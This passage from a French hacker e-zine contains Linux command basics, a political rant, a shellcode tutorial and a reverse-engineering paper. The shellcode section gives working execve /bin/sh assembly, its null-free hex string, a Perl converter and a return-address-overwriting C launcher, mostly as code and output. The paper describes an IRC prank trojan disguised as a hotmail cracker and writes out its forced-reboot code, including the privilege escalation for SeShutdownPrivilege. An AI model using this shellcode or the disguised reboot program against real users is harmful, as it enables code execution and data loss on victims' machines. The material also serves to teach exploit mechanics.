99 ]; then umask 002 [root@mindkind /root]$ 2.6 Copier un fichier ou un répertoire (cp) Pour copier un fichier ou un dossier d'un répertoire a un autre il faut utilisé la commande "cp" suivit du nom du dossier/fichier à copier et de l'emplacement. Exemple : [root@mindkind /root]$ cp apps /home [root@mindkind /root]$ ls /home apps [root@mindkind /root]$ Et il peut être utilisé avec plusieurs options en voici quelques une. "-i" : avertit l'utilisateur de l'existence d'un fichier du même nom et si vous voulez le remplacer. "-b" : permet comme l'option -i de s'assurer que la copie n'écrase pas un fichier existant en modifiant le nom automatiquement du fichier. "-l" : fait un lien entre le fichier source et la copie. "-s" : fait un lien "symbolique" entre le fichier source et sa copie. "-p" : préserve tous les droits du fichier copié. "-r" : permet de copier le répertoire et tout ses sous-répertoires. 2.7 Supprimer un fichier ou un dossier (rm) - La commande rm sert à supprimer un dossier ou un fichier. Exemple : [root@mindkind /root]$ ls apps [root@mindkind /root]$ rm apps [root@mindkind /root]$ ls [root@mindkind /root]$ Et il peut être utilisé avec plusieurs options en voici quelques une. "-d" : permet de supprimer un répertoire qu'il soit plein ou non "-r" : permet de supprimer un répertoire et ses sous répertoires "-f" : permet de forcer la suppression des fichiers protégés en écriture et des répertoires 2.8 Créer un dossier (mkdir) Pour créer un répertoire, il suffit de taper la commande "mkdir" Exemple : [root@mindkind /root]$ mkdir apps2 [root@mindkind /root]$ ls apps apps2 [root@mindkind /root]$ 2.9 Déplacer ou renommer un fichier ou un dossier (mv) Pour déplacer ou renommer un fichier/dossier , il suffit de taper la commande "mv" suivie du nom d'origine et l'emplacement + le nouveau nom de fichier. Exemple : [root@mindkind /root]$ mv apps applications ( le dossier apps s'appelle maintenant applications) Exemple 2 : [root@mindkind /root]$ mv apps /home/applications ( le dossier apps s'apelle maintenant applications et à été déplacée dans le dossier /home) 2.10 Décompresser et Compresser des archives(tar, gzip) Pour Décompresser un .tar.gz : tar xvfz amsn.tar.gz .tar.bz2 : tar xvfj amsn.tar.bz2 .gz : gzip -d amsn.gz Pour compresser un fichier en .gz : gzip nomdufichieracompresser 2.11 Gestion des processus (top, ps, kill) -Premièrement il y a la commande “top” qui montre les processus en ordre croissant selon l’utilisation des ressources qu’ils prennent. -La Commande ps sert à lister les processus qui sont en cour d’exécution sur le système. Exemple : [root@mindkind /root]$ ps 1. PID TTY STAT TIME COMMAND 2. 341 p1 S 0 : 00 bash 3. 344 p2 S 0 : 00 bash 4. 1039 p3 S 0 : 00 bash 5. 1219 p3 R 0 : 00 ps -"PID" Est le numéro du processus. Chaque processus est identifié dans le système par un nombre unique. - "TTY" indique à quel port de terminal est associé le processus. -"STAT" indique l'état dans lequel se trouve le processus. S = "sleep", R = "run") - "TIME" indique depuis combien de temps le processus utilise les ressources du microprocesseur. - "COMMAND" est la commande exécutée Pour Terminer un processus, il suffit d’utiliser la commande kill suivit du numéro du processus a terminer. Exemple : [root@mindkind /root]$ kill 1039 -Pour forcer un processus à terminer, il suffit d’ajouter l’option ”-9” ( kill -9 1039) ------------------------------------------------------- 3. Quel firewall choisir lorsqu'on ne connait pas vraiment les iptables ? J'ai le firewall qu'il vous faut, il s'agit de firestarter un firewall graphique qui fonctionne en mode graphique ( avec gnome ou Kde ). Vous pouvez le télécharger en tapant cette commande: Apt-get install firestarter . Si votre apt-get ne le trouve pas vous pouvez allez le télécharger sur Http://www.fs-security.com/download.php . PS: Son interface est tres facile d'utilisation ------------------------------------------------------- 4.Tenir votre système a jour avec Apt-Get -Pour débuter il y a la commande 'apt-get', plusieurs façons de l'utiliser les voici donc: 1: Pour mettre vos sources a jours, les sources qui se trouvent dans le /etc/apt/sources.list, vous tapez : Apt-get update 2: Pour mettre votre système a jours : Apt-get upgrade 3: Pour rechercher dans les packet de votre sources.list : Apt-cache search lenomdupacket 4: Pour installer un nouveau, packet: Apt-get install lenomdupacket 5: Pour corriger une erreur d'installation : apt-get -f install PS: Pour plus de sources concernant ubuntulinux visitez ce sources.list generator: http://www.ubuntulinux.nl/source-o-matic -Une fois le sources.list générer vous n'avez qu'a ouvrir votre /etc/apt/sources.list avec nano/pico/vim et de les ajoutés. Un petit Apt-Get Update, si tout va bien vous n'aurez pas d'erreur.. Si vous avez des problèmes avec les erreurs, apt-get update a quelques reprises et sa devrais s'arranger automatiquement, sinon retourner dans votre sources.list et effacer les sources qui produisent les erreurs. Pour ajouter des keys aux sources: gpg --keyserver subkeys.pgp.net --recv Votrekey gpg --export --armor Votrekey | sudo apt-key add - PS: Attention avec les sources non officielles :) ---------------------------------------------- _____ ________ ________ ______ ____ __ __ _ /____/ / // // /\ \\ \\ \ \ \ \\ \ ___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \ | | | / / \ | | | | / /\ \ __|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _ __\\________\\______\\__\\____________//__//_/ /_/ // / |\\ | | | | | / / \ \ | \\| | \___/ | / / /\ \ \ | \ \ / / / / \ \ \ \ | \_______/ / / / /\ \ \ \ __|\\ |______________/ /___/ / \ \___\ \____ ___ __ _ | \\| / / \ \ |__\. topic _________________________________________________________ | Entre-Articles c4 | _________________________________________________________| | / / | | / / | | / / | | / / | |/ / | | / & | / & | / / \ |/ [ Quand humanitaire rime avec rien ] | | "Les conséquences d'un acte sont incluses dans l'acte lui-même." | - George Orwell (1984) | | Notre Canada, figurisé en bonhomme déteint dans un paysage, y | compris notre petit drapeau unifolié qui s'accorde aux couleurs | foncées du "suit", est maintenant présent dans les conflits | internationaux. Stephen Harper, notre prime minister, qui | ressemble plus à un Kent qu'à un être humain, maintient la | fonction première de son parti conservateur: purifier le monde | entier avec la bonne fois, le cathéchissssss de bonne occasion, | la morale des temps perdus. Une mission humanitaire, qu'on | nous dit ! À force de se faire prendre pour des caves, on va | vraiment finir par l'être ! | | C'est en effet avec le fameux scandale des commandites qu'on | a aperçu une vague conservatrice ... quel autre choix avait on, | anyway, semble nous dire les intellectuels de tivi. Une vague à | n'en plus finir entre les conservateurs et le parti libéral... | des fois les rouges montent, des fois les bleus montent. On vote | pour l'un en voulant se débarrasser de l'autre. Conservateur, | libéral, libéral, conservateur, etc, etc, etc ... et la chanson | continue. | | Ti Paul Martin et le parti libéral finit par tomber, les élections | sont lancés, en pleine festivité de Noël ... Entre le gros Père ____| Noël, on avait maintenant, à titre de visiteur, des députés libéraux et conservateurs, tous les 3 venus nous apporter des cadeaux. Pendant toute la campagne électorale, tout ce qui se passait comme débat de société, vu par notre téléviseur (pour faire changement du prix du gaz), ce fut l’homophobie de Harper et de son parti. Ils sont contre le mariage de même sexe bla-bla-bla. Comme dirait un fumeux de pipe de la droite, ce fut du blablaisme d'intellectualiste. Mais ce fut assez ! Tout le monde en parlait : l'église, les organisations pour les droits des gays et lesbiennes, le curé de telle région, le menoncle du sud, et le parrain de l'est. Quel plaisir pour Radio-Canada qui voulait sauvegarder l'unité canadienne ... on venait de noyer le vrai débat. Le vrai débat, me demandez-vous ? L'amitié Bush-Harper. Non que le débat sur la question du mariage gay soit sans intérêt; au contraire, c'est un débat assez important qui va au-delà de l'homosexualité ... c'est une question de liberté et d'égalité. Et j'avoue, la question est loin d'être réglée dans la tête de nos tarlas de conservateur. Mais en faisant la part des choses, le vrai débat, afin qu’on ne subisse pas une vague ennuyante conservatrice au Canada, n'aurait-il pas dû être celui de l’amitié Bush-Harper ? N'est-ce pas plus dégueulasse, ce qui se passe présentement, que 2 homosexuelles qui n'ont pas le droit légal de se marier ? Je pose la question, simplement ... au risque de me faire traiter d’homophobe, encore. Un jour, va falloir qu'on arrête de se laisser leurrer. Un jour, va falloir qu'on arrête de faire de la politique "du 4 ans". Et non, certainement pas, je ne prône pas nos libéraux. Mais sacrament, y'a d'autres choix sur le bulletin de vote que nos 2 parties transitoire ! Qu'on arrête de voter pour un partie uniquement parce que les autres ne seront pas au pouvoir ... Trop tard ! On se ramasse avec un renforcement de l'armée canadienne en Afghanistan pour une plus longue durée. Et on va me demander de trouver ça surprenant le jour ou il va avoir une bombe qui va exploser dans un métro à Montréal ou à Toronto ? Les journalistes peuvent l'être autant qu'ils le veulent, mais qu’on ne me demande pas en plus de jouer leur game. C'était gros comme une montage, mais on a préféré parler de l'homophobie de Harper. J'ai beau écouter les rassureux du bon peuple, mais Stephen W. Harper joue une game très dangereuse. Qu'il veut maintenir un bon contacte avec les américains, je m’en fou totalement. C'est ok. C'est acceptable. Qu'il soit en accord avec l'invasion en Irak, déjà, ça passe plus mal. Je ne comprends pas ... je dois être fou. Mais qu'ensuite, il vient nous faire croire que les États-Unis ont besoin du Canada pour pacifier le monde entier ... ça passe pas. J'ai beau réécouter le tape une trentaine de fois, ça ne passe toujours pas. Et en plus, on le croit ! On croit même qu'il se croit ! C'est le bout de la marde, comme dirait l'autre. C'est le top de la bêtise humaine. C'est trop ... je m'enrage, je deviens impoli et vulgaire, et on m'accuse de l'être. Les Etats-Unis n'ont pas besoin du Canada, soit de l'armée canadienne, dans leur guerre du pétrole. Ils ont besoin d'un support, point. Ils ont besoin de ne pas être seul, point. Ça fait parti de leur argumentation pro-guerre ... "Le Canada est avec nous". Point. Au mois de juin dernier, Harper achète pour 14 milliard en bebelle de guerre. Ca lair qu'on en avait besoin. Peut-être, le hasard fait bien les choses. 14 milliards. 14 Milliards de tomates. 14 milliards, pris dans nos poches, pour "ça". "Ça", c'est du matériel qui va servir à continuer l'invasion meurtrière en Afghanistan. Après, on appelle ça une "mission humanitaire", une "guerre pour la démocratie". Celui qui décide de tuer des civils innocents, de massacrer des cartiers, de "varger" dans le tas, de pisser carrément dans la face du monde, ne mérite rien d'autre que la même recette. Aucune pitié pour ce genre de mongole de ma part, je passe mon tour. c4. "And I hope that you die And your death'll come soon I will follow your casket In the pale afternoon And I'll watch while you're lowered Down to your deathbed And I'll stand o'er your grave 'Til I'm sure that you're dead" - Bob Dylan, masters of war. .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ 14 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Shellcode ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Darkis [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | ...:::{ Outl4wz }:::... { 0x1 } Introduction: Ce que il faut savoir .... . utiliser linux . . Connaitre les notions de base de la programmation en C et en assembleur. { 0x2 } C'est quoi un shellcode? Un shellcode est une chaine de caractère qui représente un code binaire exécutable. il constitue un des éléments les plus importants des exploits utilisant les failles de type débordement de tampon (buffer overflow). Pendant l'attaque, il est injecté par l'exploit dans un programme en cours d'exécution, et à partir de celui-ci, il exécute le code voulu par l'attaquant (il est souvent utilisé pour appeler un Shell). { 0x3 } coding .. Il faut connaitre un peu l'asm , c'est obligé! Notre but est de créer un code binaire qui lance un Shell. Soit un code équivalent au programme C suivant : ------shell.c--------
#include <stdlib.h> int main(void) { execl("/bin/sh","sh",0); return 0; }
Pourquoi utilise execl() et pas system() ? tout simplement parce qu’execve() prent le même PID que le processus dont a été lancé et arrête, alors que system() crée un nouveau processus. Ce que modifiera la pile et le programme ne pourra plus continuer normalement, ce que provoquerait un crash du programme exploite. (Toutes les fonctions de la famille exec utilisent ce principe). Nous utiliserons NASM comme compilateur qu'est disponible dans presque toutes les distributions de linux. Mieux vaux connaitre les notions de bases de l'asm , c'est obligé!!(moi-même j'ai du lire de la documentation avant de comprendre) L'équivalent en assembleur du programme C ci-dessus est le programme suivant : -------shellcode.asm----------
[global main] main: jmp short donné retour: pop esi ;récupère l'adresse de '/bin/sh' xor edx, edx mov [esi+8], esi mov [esi+12], edx mov al, 11 ; syscall = 11, la fonction appellée est execve mov ebx, esi lea ecx, [esi+8] ; ecx contient l'adresse d'un tableau avec les arguments cf int 0x80 ; interruption donnees: call retour ; Comme pour chaque instruction call db '/bin/sh',0 ; eip + 4, cad l'adresse de l'instruction suivante, ; est empilée pour pouvoir reprendre ; l'exécution à la prochaine instruction ; après appel de la procédure retour. ; Sur la pile on a donc l'adresse de la ; chaîne '/bin/sh' ;
Vérifions le : darkis@outlawz:~/coding$ nasm -f aout shellcode.asm -o shellcode darkis@outlawz:~/coding$ chmod +x shellcode darkis@outlawz:~/coding$ ./shellcode sh-2.05b$ En est fait notre programme en assembleur lance bien un Shell :] Souvent un shellcode est destiné à être recopié dans un buffer vulnérable, par exemple strcpy s'arrêt dès qu'elle renconrte un caractère nul ('\x00'), donc il faut que notre shellcode ne contienne aucun caractère nul. Seul le dernier caractère du shellcode peut être nul, il se termine ainsi comme une chaine normale. Ainsi, nous avons soigneusement choisi les instructions assembleur afin qu'elles ne produisent pas d'octets nuls une fois compilées. Par exemple l'instruction mov eax, 0 (B800000000 en binaire) produit beaucoup de zéro, tandis que l'instruction équivalente xor eax, eax (31C0) n'en produit aucun. { 0x4 } les fichiers Source ( *.S ) il nous reste à en faire une représentation en chaine de caractères afin qu'il puisse être copié dans un buffer, en faite c'est très simple: l'option -l de NASM nous permet d'obtenir un listing qui contient le code assembleur et le code binaire correspondant. darkis@outlawz:~/coding$ nasm -f aout shellcode.asm -l shellcode.S Si vous ouvrez shellcode.S vous aurez un truc de genre : -------------shellcode.S------------- 1 [global main] 2 main: 3 00000000 EB12 jmp short donnees 4 retour: 5 00000002 5E pop esi ;récup$ 6 00000003 31D2 xor edx, edx 7 00000005 897608 mov [esi+8], esi 8 00000008 89560C mov [esi+12], edx 9 0000000B B00B mov al, 11 ; sysca$ 10 0000000D 89F3 mov ebx, esi 11 0000000F 8D4E08 lea ecx, [esi+8] ; ecx c$ 12 00000012 CD80 int 0x80 ; inter$ 13 donnees: 14 00000014 E8E9FFFFFF call retour ; Comme$ 15 00000019 2F62696E2F736800 db '/bin/sh',0 ; eip +$ ---------------------------- Ou bien: darkis@outlawz:~/coding$ as -a -o fichier.o fichier.asm > fichier.S Qui donne le même résultat! Ce que nous intéresse ici c'est la 3eme colone : EB12 5E 31D2 ... Comme vous pouvez le voir pour les mettre en format lisible: "\xeb\x12\x5e\x31..." on prend les caractères hex 2 par 2 "xEb" et on les met a la suite comme ci-dessus "\xeb\x12\..\x00". { 0x5 } bonus! Ce script en perl parcourt un fichier source (*.S) afin de créer la chaine de caractère qui correspond à notre shellcode. ----------------generateur.pl-------------------
#! /usr/bin/perl if(@ARGV < 1) { die "Usage $0 <fichier.S>\n\n"; } $file = shift; open(FILE, $file) or die "Impossible d'ouvrir le fichier $ARGV[0] : $!\n"; while(<FILE>) { if(/ {4}\w+ (\w+) (\w+)./) { $sc.=$2; } } for($i= 0 ;$i < length($sc) ;$i++) { if(! ($i % 2)) { print "\\x" ; } print substr(lc($sc) , $i , 1) } print "\n"
darkis@outlawz:~/coding$ chmod +x generateur.pl darkis@outlawz:~/coding$ ./generateur.pl shellcode.S \xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9\xff\xff\xff \x2f\x62\x69\x6e\x2f\x73\x68\x00 Pour terminer notre article, nous allons réaliser un petit programme C qui exécute notre shellcode : -------------shell.c---------------
char sc[]="\xeb\x12\x5e\x31\xd2\x89\x76\x08\x89\x56\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\xe8\xe9 \xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00"; main (void) { int * ret; * ((int *) &ret + 2) = (int) sc; return (0); }
------------------------------ darkis@outlawz:~/coding$ gcc shell.c -o shell darkis@outlawz:~/coding$ ./shell sh-2.05b$ { 0x6 } CONCLUSION j'espère que j'n’ai pas dit trop de connerie , et désole pour l'orthographe :p darkis , #linux.ma Outl4wz Greetz :phawnky ..
topic .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ 15 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Really Lame Reverse Engeneering Paper ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Ninja [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | RLREP aka Really Lame Reverse Engeneering Paper Résumé "Ninja Production Present" un texte peu technique, mais surement bien intéressant qui risque, que cela ne déplaise, de vous stimuler les neurones. Il y sera question de reverse engeneering et d'un feature vraiment trop exploitable de mIRC. Comme vous l'aurez surement deviné via le titre de ce texte, vous n'aurez pas droit à un cours très poussé, technique ou 1337. Mais l'avenue que j'ai utilisée pour reverser un petit programme sympa peut-être utilisé pour reverser n'importe quelle application d'un kiddy quelconque pour comprendre un peu plus comment il fonctionne. Tables des matières 1. Introduction 2. Là où tout à commencé... 3. What the... 4. La mission 4.1 Dernière étape 4.2 Injection ?? 4.3 HOLY ou OLLY 5. Play time! 6. Conclusion 1. Introduction Ne vous est-il jamais arrivé de croiser un abrutie sur un canal quelconque qui demandait sans relâche une application pour hacker un compte hotmail, un crack pour une certaine application ou jeux, etc.? Que de frustration, si vous n'êtes pas opérateur du canal, de ne pas pouvoir exploser cette loque. Mais j'ai peut-être une alternative qui vous fera probablement sourire. 2. Là où tout à commencé... C'était une nuit chaude et sombre, étouffé par une humidité qui vous empêche d'être confortablement allongé dans votre lit. Seul le bruit de quelques voitures pouvait se faire entendre au loin. C'était le genre de nuit où l'on souhaiterait ne simplement pas exister. Les secondes semblaient être des minutes. J'étais assis, le regarde fixe devant l'écran de mon ordinateur, le dos légèrement courbé. Je ne pouvais dormir et malgré mon immense désir de faire quelque chose, je me sentais paralysé. Comme certains cette nuit là, je m'étais connecté sur les serveurs Undernet et j'attendais que quelque chose se passe sur un des canaux que je fréquente. J'étais complètement hypnotisé par les très rares messages "join/part/quit" quand soudainement, venu de nul part, quelqu'un demanda un programme de hack. Voilà ma chance de me sortir de l'état pitoyable dans lequel j'étais prisonnier depuis trop longtemps cette nuit là. "Qu'entend-tu par prog de hacking?", lui dis-je. "j'veux hack un account hotmail", me répond-il. "Oh, je vois..." "c que g perdu mon pass pis je suis pu cap de lire mes email", me dit-il. J'étais sur le point de rétorquer, lui laissant savoir que s'il croit être le premier à clamer la perte de son mot de passe comme raison de piraté un compte homtail, il devait vraiment être abrutis quand, surgissant des profondeurs de l'IRC: "tien ça devrait faire la job: http://xxxxxx.xxx.xx/misc/hotmail_bruteforce.exe" "thx", s'empressa de répondre notre pirate en devenir. Il s'installa un silence froid, on aura pu entendre la lune tourner autour de la terre. Et puis quelques secondes plus tard: "OH NOOOOOO !!!!" loque_humaine quit (edcba) 3. What the... Bon, je suis désolé pour cette tentative d'écriture "thriller style". Mais je dois quand même avoir du plaisir à écrire sinon je n'écrirais tout simplement pas. Et je tien a dire "shut up" à tous ceux qui croient que ça serait mieux ainsi. Si vous avez été assez patient pour lire attentivement jusqu'ici, vous aurez surement compris que le petit prog que "edcba" à envoyé à notre wannabe hackeur était bien entendu un piège. Malgré que le programme ne fasse rien de bien méchant, il propage un message sur tous les canaux où la victime se trouve ("OH NOOOOOO !!!!"), termine la connexion au serveur IRC et finalement exécute un "force reboot" de la machine. Le "force reboot" étant probablement la partie la plus chiante, puisque, contrairement a un redémarrage normal, il n'attend pas que toutes les applications fermes correctement. Donc toutes modifications à des documents non sauvegardés son perdu. Symaptique n'est-ce pas? 4. La mission Trouvant l'idée très sympathique et étant en constante recherche de petit truc à coder, je me suis dit qu'il serait bien de reproduire les features de ce programme. Pas question de demander à edcba comment il avait fait parce que, premièrement, je tien à comprendre par moi-même avant tout, et deuxièmement, parce que je doute que j'aurais eu une réponse. Je vais diviser ce que fait le programme en étapes. Question de mieux cibler ce que l'on doit reproduire. 1. Envoie un message sur tous les canaux 2. Ferme la connexion au serveur avec un message spécifique 3. Redémarre l'ordinateur (force reboot) On peut imaginer que réussir l'étape #1 implique automatiquement la réussite de l'étape #2. Donc, nous avons excatement deux (2) étapes à reproduire. 4.1 dernière étape Pourquoi commencer par le commencement quand la fin est tellement plus facile. Je trouve plus motivant de faire des progrès rapidement et ensuite être bloqué que de n'avoir rien fait encore et d'être déjà bloqué. Comme mentionnée ci-dessus, la dernière étape consiste à redémarrer l'ordinateur. Une petite recherche bien effectuée sur google ou MSDN Library vous permet de trouver rapidement quel API l'on doit utiliser pour arriver à notre fin, j'ai nommé "ExitWindowsEx". Voici donc le prototype de notre fameuse API: BOOL WINAPI ExitWindowsEx( UINT uFlags, DWORD dwReason ); Paramètres uFlags [in] Le type de fermeture. dwReason [in] La raison de l'initialisation de la fermeture. Pour le paramètre uFlags, nous allons utiliser la valeur suivante : EWX_SHUTDOWN - Ferme le système. En conjonction avec: EWX_FORCE - "[...] the system does not send the WM_QUERYENDSESSION and WM_ENDSESSION messages. This can cause applications to lose data. Therefore, you should only use this flag in an emergency." Le paramètre dwReason doit être égale à zéro, raison de compatibilité. C'est maintenant le temps de tester notre application. Alors au code camarade. ==---------------------- test1.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN #include <windows.h> int main() { ExitWindowsEx( EWX_SHUTDOWN|EWX_FORCE, 0 ); return 0; }
Simple n'est-ce pas? Mais pas si vite mon ami! À moins que vous soyez très chanceux, rien ne devrait arriver suite à l'exécution de ce code. Pourquoi? Simplement parce que nous devons donner à notre processus le privilège SE_SHUTDOWN_NAME. Autrement, l'appel à la fonction ExitWindowsEx échoue. Une autre recherche sur MSDN Library s'impose. Notre recherche nous amène à trouver l'API suivante: AdjustTokenPrivileges Voici son prototype: BOOL AdjustTokenPrivileges( HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength ); C'est ici que ça se corse. D'accord ce n'est pas si terrible, mais bon, j'aurais aimé que ça soit aussi simple que d'appeler simplement ExitWindowsEx. Premièrement, nous devons avoir l'accès TOKEN_ADJUST_PRIVILEGES si nous voulons activer ou désactiver un privilège. De plus, nous aurons besoin d'un handle sur un token préalablement ouvert. Encore une fois, nous devons effectuer une autre recherche sur MSDN Libray. Nous voici, maintenant, devant OpenProcessToken. BOOL OpenProcessToken( HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle ); ProcessHandle - handle de notre processus. DesiredAccess - TOKEN_ADJUST_PRIVILEGES TokenHandle - pointeur vers le handle de notre token De retour à AdjustTokenPrivileges. Si l'on regarde la structure TOKEN_PRIVILEGES de plus près, on s'aperçoit que l'on a besoin de LUID du privilège désiré. Pour obtenir cette information, nous devons appler la fonction LookupPrivilegeValue. BOOL LookupPrivilegeValue( LPCTSTR lpSystemName, LPCTSTR lpName, PLUID lpLuid ); Maintenant nous sommes prêts pour donner à notre processus le privilège dont il a besoin pour appeler la fonction ExitWindowsEx. Au code! ==---------------------- test2.cpp ----------------------==
#define WIN32_LEAN_AND_MEAN #include <windows.h> int main() { HANDLE hToken; TOKEN_PRIVILEGES tp; DWORD dwRet; // demande un token if ( !OpenProcessToken( GetCurrentProcess(), // handle du processus courant TOKEN_ADJUST_PRIVILEGES, &hToken ) ) { return 0; } // recherche le LUID du privilège SE_SHUTDOWN_NAME if ( !LookupPrivilegeValue( NULL, // recherche sur le système local SE_SHUTDOWN_NAME, &tp.Privileges[0].Luid ) ) { CloseHandle(hToken); return 0; } tp.PrivilegeCount = 1; // une seul privilege a configurer tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // ajust le token selon les nouveaux privilèges demandés if ( !AdjustTokenPrivileges( hToken, FALSE, // ne PAS désactiver TOUS les privilèges &tp, 0, // comme PreviousState est NULL, on // mets 0 (PTOKEN_PRIVILEGES)NULL, // PreviousState 0 ) ) // 0 puisque PreviousState est NULL { CloseHandle(hToken); return 0; } dwRet = GetLastError(); // backup de GetLastError() puisque l'on appel // CloseHandle. Cette dernière modifie le contenu // de GetLastError(); CloseHandle(hToken); if (dwRet != ERROR_SUCCESS) return 0; ExitWindowsEx( EWX_SHUTDOWN|EWX_FORCE, 0 ); return 0; }
W00t! C'est fait. Notre programme, si tout se passe bien, va forcer Windows à redémarrer l'ordinateur sans avertir aucunes applications. Maintenant, passons aux choses sérieuses... 4.2
Injection ?? Je crois que tout le monde à un jour ou l'autre, a pris le mauvais chemin pour atteindre un objectif. C'est souvent ce qui arrive lorsque l'on voit tout comme étant surement complexe. Ou simplement quand on aime se compliquer la vie. Et ça a bien été mon cas ici. Je m'étais imaginé que pour arriver a ce que mIRC, via un programme externe, exécute des commandes qu'on lui spécifie, nous devions absolument injecter du code dans le processus mIRC chargé en mémoire. Après quelques jours de dur travail et de recherche sur le web, je me suis tanné. Pourquoi est-ce que je me fait chier autant à trouver une technique alors que si je regarde ce que le programme de edcba fait, il ne me restera plus qu'a comprendre le pourquoi. Et, je dois l'avouer, c'était le but premier de cet exercice. Alors au toilette saloperie d'injection. 4.3 HOLY ou OLLY Bow down before the power of HOLY... err, je veux dire OLLY. Avant que les religieux ne commencent à s'émoustiller, c'était un jeu de mots très plate sur la phonétique des deux termes. Il n'est pas question de religions ici. duh! Concentration s.v.p. OllyDbg (http://www.ollydbg.de/) est une application que j'apprécie énormément et qui vaut la peine d'être mentionné. Il s'agit en fait d'un débuggeur pour Windows. Deux choses très importantes à retenir: puissant et surtout, gratuit. Il est maintenant temps d'ouvrir le petit programme dont on cherche à reproduire les fonctionnalités sous OllyDbg. En à peine une seconde, nous avons droit à un spectacle magnifique: un listing assembleur 32-bit. En regardant le listing on peut voir le code que nous venons à l'instant de produire: [00401151] PUSH EBP MOV EBP,ESP ADD ESP,-14 LEA EAX,DWORD PTR SS:[EBP-4] PUSH EAX ; /phToken PUSH 28 ; |DesiredAccess = TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES CALL <JMP.&KERNEL32.GetCurrentProcess> ; |[GetCurrentProcess PUSH EAX ; |hProcess CALL <JMP.&ADVAPI32.OpenProcessToken> ; \OpenProcessToken TEST EAX,EAX JNZ SHORT mIRC_hig.0040116F XOR EAX,EAX JMP SHORT mIRC_hig.004011C4 LEA EDX,DWORD PTR SS:[EBP-10] PUSH EDX ; /pLocalId PUSH mIRC_hig.00409128 ; |Privilege = "SeShutdownPrivilege" PUSH 0 ; |SystemName = NULL CALL <JMP.&ADVAPI32.LookupPrivilegeValue>; \LookupPrivilegeValueA MOV DWORD PTR SS:[EBP-14],1 MOV DWORD PTR SS:[EBP-8],2 PUSH 0 ; /pRetLen = NULL PUSH 0 ; |pPrevState = NULL PUSH 0 ; |PrevStateSize = 0 LEA ECX,DWORD PTR 